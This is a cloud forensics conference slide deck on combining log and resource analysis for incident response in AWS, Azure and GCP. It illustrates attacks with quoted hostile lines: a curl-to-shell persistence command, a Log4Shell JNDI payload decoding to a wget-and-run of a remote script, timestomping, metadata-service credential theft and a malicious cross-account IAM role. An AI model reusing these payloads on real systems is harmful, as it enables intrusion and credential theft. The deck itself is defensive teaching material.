The document discusses cloud forensics, emphasizing the importance of analyzing both logs and resources for incident response in cloud environments. It highlights various forensic techniques, cloud incident domains, and the necessity of establishing standards for audit logging and preservation in the cloud. Additionally, it examines case studies involving cloud attacks and best practices for managing cloud security logs and resources effectively.

1. A New Perspective on
Resource-Level Cloud Forensics

2. today we’ll learn by example how to combine
analysis of both logs and resources
to respond to incidents in the cloud

3. in the cloud…
can you identify root cause with just logs?
it depends…

4. Cloud Forensics = Log Analysis?
Cado Security | 4

5. Cloud
(Control Plane)
Forensics
Host Forensics Log Forensics Network Forensics
Cloud Forensics if it means “forensics of a cloud estate”
Cloud Forensics if it means “forensics of cloud
provider control plane”

6. cloud forensics
1. The application of scientific knowledge to legal problems in the cloud
* sorry for defining forensics in a room full of forensic experts

7. Cloud Incident Domains According to AWS
See “Cloud Security Incident Domains” in the AWS Security Incident Response Guide
Service Domain Infrastructure domain Application Domain
Identity & Access Management (IAM)
Billing
Virtual Machines
Containers
Application Code
Deployed Software

8. Control Plane Data Plane
Create/Delete/Edit Resources
Identity & Access Management (IAM)
Resources Themselves
Auth Data Plane
Control Plan & Data Plane

9. ● Last year’s SANS DFIR keynote by Josh Lemon & Megan Roddie:
“DFIR Evidence Collection and Preservation for the Cloud”
● Key take-away (for me): Enable all the logs
Previously on Cloud Forensics at SANS….

10. There are Undocumented Logs & Unavailable Logs
“What standards should forensics professionals hold ourselves to, for
disclosure of ‘0-day forensic artifacts’?
What is the responsibility of service providers such as Microsoft, to support
forensic investigations?
It’s time to establish standards for audit logging and preservation in the cloud”

11. And there are Expensive Logs…

12. definitions are boring…
so here is an example
Cado Security | 12

13. Initial Access with StackSet Phishing
Cado Security | 13
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
EvilRoleInYourAccount:
Effect: Allow
Principal: arn:aws:iam::AttackersAccount
Action: 'sts:AssumeRole'
...AmazonSSMFullAccess…
● Phishing convinces admin to deploy StackSet
● StackSet creates enables attackers AWS account to run commands
against EC2s in victim account via SSM
● See “Lesser Known Techniques for Attacking AWS Environments” by
Scott Piper

14. Cloudtrail Logs
Enabled by default
90 days of data free
Cado Security | 14
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole
"EventName": "CreateRole",
"EventTime": "2023-07-29T14:09:40+01:00" ,
"EventSource": "iam.amazonaws.com" ,
"Resources": [
{
"ResourceType" : "AWS::IAM::Role" ,
"ResourceName" : "EvilRoleInYourAccount"
}

15. Azure Google Cloud
Azure Monitor / Audit Logs Audit Logs: System & Admin
Azure and GCP Equivalent Data
See last years Keynote for more

16. Lateral Movement with SSM Run Command
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Attacker executes SSM commands using their trusted role in victims account
This means they can run commands against any EC2 with SSM enabled
See “cross account ssm start session” on Stackoverflow
aws ec2 describe-instances --region
aws ssm start-session --target i-001
whoami

17. SSM logged in CloudWatch and S3
Logs execution to CloudWatch or S3
Includes detailed Session Data
Disabled by default
EC2 Instance needs IAM permissions
From “How to search through your AWS Systems Manager Session Manager console logs” by AWS

18. SSM “Official” Logs
Logs live under /var/log/amazon/ssm/
Can forward with CloudWatch Agent/SIEM
Or pull from disk
More for diagnostics
Generally not that useful for security
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] received plugin:
aws:runShellScript result from Processor
2021-06-08 11:15:14 INFO [ssm-agent-worker]
[MessagingDeliveryService] Sending reply {
"additionalInfo": {
"agent": {
amazon-ssm-agent.log

19. Undocumented SSM Logs
sh-4.2$
[ec2-user@ip-10-0-2-54 ~]$ ls
key
[ec2-user@ip-10-0-2-54 ~]$ aws s3 cp staff.txt
s3://eu-west-1-prod-data --region eu-west-1
Completed 802 Bytes/802 Bytes (9.4 KiB/s) with 1
file(s) remaining
[ec2-user@ip-10-0-2-54 ~]$ logout
sh-4.2$ exit
The best data is in an undocumented log called
ipcTempFile.log
Contains full session data, both directions
Credit to Al & Korstiaan for the discovery
Linux:
/var/lib/amazon/ssm/<EC2-INSTANCE-ID>/ses
sion/orchestration/<USER>-<RANDOM ID>/
Windows:
C:ProgramDataAmazonSSMInstanceData<
EC2 INSTANCE ID>sessionorchestration
ipcTempFile.log
See “IPC YOU: How the Cado Platform Reveals Attacker Command Outputs” by Cado Security

20. What is logged?
● Data Access Log - not enabled by default
● Catches invocations of gcloud compute ssh
● No distinction between remote command invocation and generic SSH login events
● No difference even when Gcloud Monitoring agent enabled
● Investigator “blind” without auditd enabled
GCP Equivalent: gcloud compute

21. Methods of interacting with Linux Compute VMs:
● gcloud compute ssh –zone ZONE INSTANCE – ‘<run command here>’
● Won’t log to histfile
● No ipcTempfile.log equivalent (sadly!)
● Gcloud Monitoring agent disabled by default
GCP Equivalent: Gcloud Compute Interaction

22. GCP Equivalent: gcloud compute

23. Azure Equivalent : Run Command
From “Azure Run Command for Dummies” from Mandiant
az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts
@myscript.ps1 --parameters "arg1=firstarg"

24. No public references I could find on “cloud agent forensic artifacts”
Other than SSM by Cado Security and on Run Command by
Mandiant
“It’s time to establish standards for audit logging and
preservation in the cloud”

25. Attack: Persistence: Install Malware on EC2
Install Malware on EC2
Stackset Phishing
From: AWS
Subject: Deploy this Stackset
SSM Run Command
Now we’re in the realm of classic host forensics
But some things are still different in the cloud…
curl https://pastebin.com/raw/1ahZ | sh

26. Anti-Forensics in cloud resources is surprisingly common…
But it’s not this:
The Shadow Brokers: eventlogedit
Can you trust resource-level data?

27. It’s this
27
CoinStomp: touch -t20230101 /usr/bin/modusr

28. WatchDog - Rudimentary Process Hider
28
● Recent campaign has some interesting detection evasion
● Similar timestomping technique
● The most UNIX-y process hider ever!

29. WatchDog - Hidden-ish directory
29

30. WatchDog - Renaming data transfer utilities
30

31. Coinstomp - Timestamp Manipulation
31

32. CoinStomp - Timestamp Manipulation
32

33. sometimes you can’t find
root cause…
without the files
Cado Security | 33

34. Getting an EC2 Disk/Volume
Typical Process:
● Snapshot Volume
● Turn Snapshot into new Volume
● Attach Volume to an EC2
● Upload DD to S3
● Why is it so hard to get a disk image?
● https://github.com/aws-solutions/automated-forensic-orchestrator-for-amazon-ec2
Issues:
- Performance - Fast Snapshot Restore
- Marketplace Codes
Alternative Options:
- Block API - https://github.com/awslabs/coldsnap
- Transfer Disk, in Parallel with Processing

35. Alternatives to Full Disk in AWS
● Acquire triage files using SSM
See “Automated Triage Collection at Scale in the AWS Cloud” by Ryan Tick
● EDR - If installed
● GuardDuty can now anti-virus scan volumes for you

36. Azure Equivalent: Getting a Disk
● Easy .VHD download link :)
● But network is flaky :(
● Wrap the API call with *lots* of retries
● Particularly bad in certain regions
● Noticeably worse for a period in May/June - DDoS?

37. GCP Equivalent: Getting a Disk
● Create Image
● Export Image to Cloud Storage (VMDK, VHDX, VPC, QCOW2)
● Download from Cloud Storage
● Fast Reliable Downloads

38. cloud* kubernetes* ransomware*
* buzzword bingo
Cado Security | 38

39. Log4Shell Exploit of App in Pod for Initial Access
Exploit App in EKS
POST / HTTP/1.1
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBo…==}
Host: 89.188.76.250
Decoded: wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
See “Cloud lateral movement: Breaking in through a vulnerable container” by SysDig
“Log4Shell Hell: anatomy of an exploit outbreak” by Sophos

40. Lateral Movement: Steal Keys from Container MetaData Service
Exploit App in EKS Hit Metadata URL
● 169.254.169.254
● /iam/security/credentials
● 169.254.170.2 - EKS!
See “TeamTNT Script Employed to Grab AWS Credentials” by Cado Security

41. AWS Cloud
VPC
EKS on EC2
Web Server in Container
?
Optional Logs in S3 *
kube-apiserver-
kube-apiserver-audit-
authenticator-
kube-controller-manager-
kube-scheduler-
Inaccessible Logs *
Logs in Other Services *
Traffic mirroring *
O/S Logs *
Docker File System *
(Forensic Artifacts,
Malware…)
Docker Logs *
Volatile Data*
O/S Logs *
Native File System*
(Forensic Artifacts, Malware…)
Volatile Data*
* Logs * Not Logs
Response: Data Sources for a compromise in EKS on EC2

42. Getting the Data
The web server logs the malicious script and other file system activity to work out what happened
here
EKS on EC2?
● Grab the data the whole volume from the node. Typically overlay2 versioned filesystem.
Can also grab files from inside the container using Kubernetes API
● Also grab memory from inside the container too as CAP_SYS_PTRACE is typically enabled
See “How we Sped up Acquiring Forensic Data From Managed Kubernetes Services by 97% by
Rebuilding the SDK” by Cado Security for sample code

43. As you can see, there is a lot here…
For more, go back in time 1 hour and see:
“EKS Incident Response and Forensic Analysis”
by Jonathon Poling

44. Ransom S3 Bucket
S3 Ransomware Example
Exploit App in EKS Hit Metadata URL

45. S3 Ransomware
See “The anatomy of ransomware event targeting data residing in Amazon S3”
Most Common Causes:
1. IAM Access Key Accidental Disclosure
2. Vulnerability on EC2 with IAM Profile and IMDSv1 → STS Token

46. Was it data-destruction - or data theft and extortion?
● If you previously enabled S3 CloudWatch Metrics: BytesDownloaded
● If you previously enabled S3 Object Level Logging in CloudTrail:
● Cost Explorer has region-DataTransfer-Out-Bytes enabled by default so you can be billed
● Look for bucket-level events enabled by default in CloudTrail e.g.s3:ListBuckets,
s3:GetBucketLocation
● Look for IAM events enabled by default in CloudTrail relating to granting S3 permissions
^ All “cloud level” logs

47. Response
● S3 Object Lock
● S3 Versioning
● Backups!
● GuardDuty
● Stolen IAM Access?

48. In Summary…
● Need to look at both resources and logs
● Make sure logs are turned on
● Make sure you can access resources

49. Make sure your cloud logs are turned on
● “Logging in the Cloud: From Zero to (Incident Response) Hero”
by Jonathon Poling [AWS, GCP, Azure]
● https://github.com/prowler-cloud/prowler [AWS, GCP, Azure]
● Spreadsheet of where each services logs: https://bit.ly/3XidVm3 [AWS]
● https://github.com/awslabs/assisted-log-enabler-for-aws [AWS]
● FOR509

50. Make sure you can access resource-level data
● Set up permissions, roles and configurations in advance
○ e.g. Can you ECS Exec to your ECS Containers?
● Practice and test your access in advance, continually
○ It will degrade!
● Forward logs from resources to CloudWatch or SIEM. But $$$
● EDR can help, if installed
● FOR509 “Enterprise Cloud Forensics and Incident Response”
○ && FOR577 Linux Threat Hunting & Incident Response (new)

51. For more examples of real world cloud attacks, see:
● “Cloud Security Atlas” by DataDog
● https://github.com/ramimac/aws-customer-security-incidents (related)

52. Questions?
twitter: @chrisdoman
cdoman@cadosecurity.com